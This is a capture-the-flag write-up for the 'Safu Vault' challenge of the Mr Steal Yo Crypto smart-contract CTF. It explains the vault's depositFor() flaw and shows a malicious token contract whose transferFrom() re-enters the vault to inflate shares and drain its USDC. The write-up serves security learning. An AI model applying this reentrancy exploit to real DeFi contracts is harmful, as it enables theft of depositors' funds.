This is the #2 challenge of Mr Steal Yo Crypto. I will try to explain how to find the vulnerability.

A set of challenges to learn offensive security of smart contracts. Featuring interesting challenges loosely (or directly) inspired by real-world exploits. Created by @0xToshii

I used the foundry version for this CTF: mr-steal-yo-crypto-ctf-foundry

Mr Steal Yo Crypto

Safu Vault

Safu Labs has just released their SafuVault, the ‘safest’ yield generating vault of all time, or so their twitter account says. Their SafuVault expects deposits of USDC and has already gotten 10,000 USDC from users. You know the drill, drain the funds (at least 90%). You start with 10,000 USDC.

Review of the contracts

SafuStrategy.sol

This contract is not complete; this is not a real implementation of a strategy. However, it contains the basics for a strategy. As a simple user, except the function beforeDeposit() (this function is not useful), we can’t call the other functions. The accounts that are able to call the SafuStrategy contract are the vault and the whitelisted address.

SafuVault.sol

This is the core of our challenge, I will make a few comments for almost all the functions:

  • want(), available(), balance(): there are simple getters.
  • deposit(): There could be a potential issue if this function is deployed in mainnet, with a front-run attack. However, in our case, there is nothing valuable.
  • earn(): nothing to say.
  • withdrawAll(), withdraw(): the implementation seems correct.
  • depositFor(): it’s almost the same implementation as deposit(). Except this time, we are using the parameter address token as the collateral and not the want() address. As I already saw in some other CTF, when a parameter is used for transferring tokens, there is a critical vulnerability.
/// @dev deposit funds into the system for other user
function depositFor(
    address token,
    uint256 _amount,
    address user
) public {
    strategy.beforeDeposit();

    uint256 _pool = balance();
    IERC20(token).safeTransferFrom(msg.sender, address(this), _amount);
    earn();
    uint256 _after = balance();
    _amount = _after - _pool; // Additional check for deflationary tokens

    uint256 shares;
    if (totalSupply() == 0) {
        shares = _amount;
    } else {
        shares = (_amount * totalSupply()) / (_pool);
    }
    _mint(user, shares);
}

With the obvious vulnerability that we saw, I think we can already start for the exploit.

Exploit the vulnerability

Our exploit will start from depositFor(). We have the possibility to inflate our deposit, and then we will receive more shares than it supposed to be.

Let me explain a bit more, when the line IERC20(token).safeTransferFrom(msg.sender, address(this), _amount); will be executed, we will go to the token contract address and check if there is the function transferFrom. It means that we can create a contract having this function. Inside the function, we can do everything that we want. In order to inflate our deposit, through safeTransferFrom() will make a reentrancy attack:

function transferFrom(
    address from,
    address to,
    uint256 _amount
) public returns (bool) {
    if (count < reentrancy_count) { // reentrancy_count condition
        count++;
        safuVault.depositFor(address(this), uint256(0), owner); // Here is the reentrancy
        usdc.transfer(address(safuVault), amount); // increase value _after of depositFor()

        /*
        Scheme example:
        _pool 10_000
        _pool 10_000
        _pool 10_000
        _pool 10_000
        _pool 10_000  
        _after 10_100 -> amount = 100
        _after 10_200 -> amount = 200
        _after 10_300 -> amount = 300
        _after 10_400 -> amount = 400
        _after 10_500 -> amount = 500
        */
    }
    return true;
}

As we can see, we entered n times inside depositFor(), then we send some USDC. So for n times, there will be a difference between the variable _pool and _after. This is how we are able to inflate our deposit and thus inflate our shares tokens.

So that’s what we did, and it worked. You can have a look here.

Acknowledgement

Thank you https://stermi.xyz/ for inspiring me for writing articles on CTF ^^.